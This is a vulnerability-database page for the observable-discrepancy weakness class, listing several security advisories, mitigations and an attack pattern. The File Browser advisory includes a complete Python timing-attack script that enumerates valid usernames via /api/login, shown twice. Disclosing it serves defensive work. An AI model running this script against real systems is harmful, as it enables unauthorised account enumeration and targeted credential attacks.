Common Weakness Enumeration

CWE-203

Allowed

Observable Discrepancy

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor.

886 vulnerabilities reference this CWE, most recent first.

GHSA-43MM-M3H2-3PRC

Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02
VLAI
Summary
File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login
Details

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []

    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")

    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0

    threshold = mean + (5 * stdev) + 0.005

    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")

    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)

    found = []

    for user in users:
        elapsed = measure_response_time(url, user)

        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"

        print(f"{user:<15} | {elapsed:.4f}s | {status}")

    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()

    target_url = args.url.rstrip('/') + ENDPOINT

    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")

    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")

        valid_users = timing_attack(target_url, threshold, users)

        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)

    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application. image

I am going to use the exploit to list valid users. image As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.55.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:02:17Z",
    "nvd_published_at": "2026-01-19T21:15:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If \u0027err != nil\u0027 (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If \u0027err == nil\u0027 (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return \u0027\u0027.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{\u0027Username\u0027:\u003c15} | {\u0027Time\u0027:\u003c10} | {\u0027Status\u0027}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed \u003e threshold:\n            status = \"\u003e\u003e VALID \u003c\u003c\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:\u003c15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027FileBrowser timing attack exploit\u0027)\n    parser.add_argument(\u0027-u\u0027, \u0027--url\u0027, required=True, help=\u0027Target URL (e.g., http://localhost:8080)\u0027)\n    parser.add_argument(\u0027-w\u0027, \u0027--wordlist\u0027, required=True, help=\u0027Path to wordlist file\u0027)\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip(\u0027/\u0027) + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -\u003e {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\u003cimg width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" /\u003e\n\nI am going to use the exploit to list valid users.\n\u003cimg width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" /\u003e\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., \u0027admin\u0027, \u0027root\u0027, employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
  "id": "GHSA-43mm-m3h2-3prc",
  "modified": "2026-01-21T01:02:17Z",
  "published": "2026-01-21T01:02:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login"
}

GHSA-443M-F58X-JX9J

Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 00:34
VLAI
Details

Capgo before 12.128.2 contains an information disclosure vulnerability in the public.invite_user_to_org RPC function that allows unauthenticated attackers to enumerate organization existence by observing distinct error responses. Attackers can call the SECURITY DEFINER function with a publishable API key to determine if an organization ID exists based on NO_ORG versus NO_RIGHTS responses, enabling tenant enumeration attacks.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T23:17:30Z",
    "severity": "MODERATE"
  },
  "details": "Capgo before 12.128.2 contains an information disclosure vulnerability in the public.invite_user_to_org RPC function that allows unauthenticated attackers to enumerate organization existence by observing distinct error responses. Attackers can call the SECURITY DEFINER function with a publishable API key to determine if an organization ID exists based on NO_ORG versus NO_RIGHTS responses, enabling tenant enumeration attacks.",
  "id": "GHSA-443m-f58x-jx9j",
  "modified": "2026-07-01T00:34:13Z",
  "published": "2026-07-01T00:34:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-35q8-ghfg-vp6m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56327"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/capgo-unauthenticated-organization-existence-oracle-via-public-invite-user-to-org-rpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4544-6QCJ-9222

Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18
VLAI
Details

Vesta CP version Prior to commit f6f6f9cfbbf2979e301956d1c6ab5c44386822c0 -- any release prior to 0.9.8-18 contains a CWE-208 / Information Exposure Through Timing Discrepancy vulnerability in Password reset code -- web/reset/index.php, line 51 that can result in Possible to determine password reset codes, attacker is able to change administrator password. This attack appear to be exploitable via Unauthenticated network connectivity. This vulnerability appears to have been fixed in After commit f6f6f9cfbbf2979e301956d1c6ab5c44386822c0 -- release version 0.9.8-19.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-20T21:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Vesta CP version Prior to commit f6f6f9cfbbf2979e301956d1c6ab5c44386822c0 -- any release prior to 0.9.8-18 contains a CWE-208 / Information Exposure Through Timing Discrepancy vulnerability in Password reset code -- web/reset/index.php, line 51 that can result in Possible to determine password reset codes, attacker is able to change administrator password. This attack appear to be exploitable via Unauthenticated network connectivity. This vulnerability appears to have been fixed in After commit f6f6f9cfbbf2979e301956d1c6ab5c44386822c0 -- release version 0.9.8-19.",
  "id": "GHSA-4544-6qcj-9222",
  "modified": "2022-05-13T01:18:47Z",
  "published": "2022-05-13T01:18:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/serghey-rodin/vesta/commit/5f68c1b634abec2d5a4f83156bfd223d3a792f77#diff-4d7863e8c24a5e6102073acc2fb0f227"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-466P-J3VQ-MWQ3

Vulnerability from github – Published: 2025-01-25 15:30 – Updated: 2025-01-25 15:30
VLAI
Details

IBM Control Center 6.2.1 and 6.3.1

could allow a remote attacker to enumerate usernames due to an observable discrepancy between login attempts.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-204"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-25T14:15:29Z",
    "severity": "MODERATE"
  },
  "details": "IBM Control Center 6.2.1 and 6.3.1 \n\n\n\n\n\ncould allow a remote attacker to enumerate usernames due to an observable discrepancy between login attempts.",
  "id": "GHSA-466p-j3vq-mwq3",
  "modified": "2025-01-25T15:30:31Z",
  "published": "2025-01-25T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35114"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7174842"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4679-HXQ5-W394

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02
VLAI
Details

A timing attack in SVG rendering in Google Chrome prior to 60.0.3112.78 for Linux, Windows, and Mac allowed a remote attacker to extract pixel values from a cross-origin page being iframe'd via a crafted HTML page.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-5107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-27T05:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A timing attack in SVG rendering in Google Chrome prior to 60.0.3112.78 for Linux, Windows, and Mac allowed a remote attacker to extract pixel values from a cross-origin page being iframe\u0027d via a crafted HTML page.",
  "id": "GHSA-4679-hxq5-w394",
  "modified": "2022-05-13T01:02:39Z",
  "published": "2022-05-13T01:02:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5107"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:1833"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2017/07/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/686253"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201709-15"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3926"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99950"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-478Q-3PJ2-84WM

Vulnerability from github – Published: 2022-06-25 00:01 – Updated: 2022-07-02 00:00
VLAI
Details

A user enumeration vulnerability in MELAG FTP Server 2.2.0.4 allows an attacker to identify valid FTP usernames.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-41634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A user enumeration vulnerability in MELAG FTP Server 2.2.0.4 allows an attacker to identify valid FTP usernames.",
  "id": "GHSA-478q-3pj2-84wm",
  "modified": "2022-07-02T00:00:23Z",
  "published": "2022-06-25T00:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41634"
    },
    {
      "type": "WEB",
      "url": "https://www.securesystems.de/blog/advisory-and-exploitation-the-melag-ftp-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-48JW-3344-G954

Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54
VLAI
Details

In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.848, the Login process allows attackers to check whether a username is valid by comparing response times.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2019-13599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-21T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.848, the Login process allows attackers to check whether a username is valid by comparing response times.",
  "id": "GHSA-48jw-3344-g954",
  "modified": "2022-05-24T16:54:22Z",
  "published": "2022-05-24T16:54:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13599"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154164/CentOS-Control-Web-Panel-CWP-0.9.8.848-User-Enumeration.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154164/CentOS-WebPanel.com-CentOS-Control-Web-Panel-CWP-0.9.8.848-User-Enumeration.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/154164/CentOS-WebPanel.com-Control-Web-Panel-CWP-0.9.8.848-User-Enumeration.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FQ5-58J6-9QPH

Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2026-06-01 15:30
VLAI
Details

Observable Response Discrepancy in the SICK ICR890-4 could allow a remote attacker to identify valid usernames for the FTP server from the response given during a failed login attempt.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-35698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-204"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-10T16:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Observable Response Discrepancy in the SICK ICR890-4 could allow a remote attacker to identify valid usernames for the FTP server from the response given during a failed login\nattempt.",
  "id": "GHSA-4fq5-58j6-9qph",
  "modified": "2026-06-01T15:30:31Z",
  "published": "2023-07-10T18:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35698"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0006.json"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/.well-known/csaf/white/2023/sca-2023-0006.pdf"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GRF-X53V-R95X

Vulnerability from github – Published: 2024-05-03 18:30 – Updated: 2024-05-03 18:30
VLAI
Details

IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 could allow a remote user to enumerate usernames due to differentiating error messages on existing usernames. IBM X-Force ID: 199181.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-204"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T18:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 could allow a remote user to enumerate usernames due to differentiating error messages on existing usernames.  IBM X-Force ID:  199181.",
  "id": "GHSA-4grf-x53v-r95x",
  "modified": "2024-05-03T18:30:37Z",
  "published": "2024-05-03T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20556"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/199181"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7149876"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4H56-XMQ8-7HC9

Vulnerability from github – Published: 2026-02-08 00:30 – Updated: 2026-02-11 00:30
VLAI
Details

WeKan versions prior to 8.19 contain an information disclosure vulnerability in the attachments publication. Attachment metadata can be returned without properly scoping results to boards and cards accessible to the requesting user, potentially exposing attachment metadata to unauthorized users.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-25562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-07T22:16:01Z",
    "severity": "MODERATE"
  },
  "details": "WeKan versions prior to 8.19 contain an information disclosure vulnerability in the attachments publication. Attachment metadata can be returned without properly scoping results to boards and cards accessible to the requesting user, potentially exposing attachment metadata to unauthorized users.",
  "id": "GHSA-4h56-xmq8-7hc9",
  "modified": "2026-02-11T00:30:14Z",
  "published": "2026-02-08T00:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/commit/6dfa3beb2b6ab23438d0f4395b84bf0749eb4820"
    },
    {
      "type": "WEB",
      "url": "https://wekan.fi"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wekan-attachments-publication-information-disclosure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
CAPEC-189: Black Box Reverse Engineering

An adversary discovers the structure, function, and composition of a type of computer software through black box analysis techniques. 'Black Box' methods involve interacting with the software indirectly, in the absence of direct access to the executable object. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs. Black Box Reverse Engineering also refers to gathering physical side effects of a hardware device, such as electromagnetic radiation or sounds.

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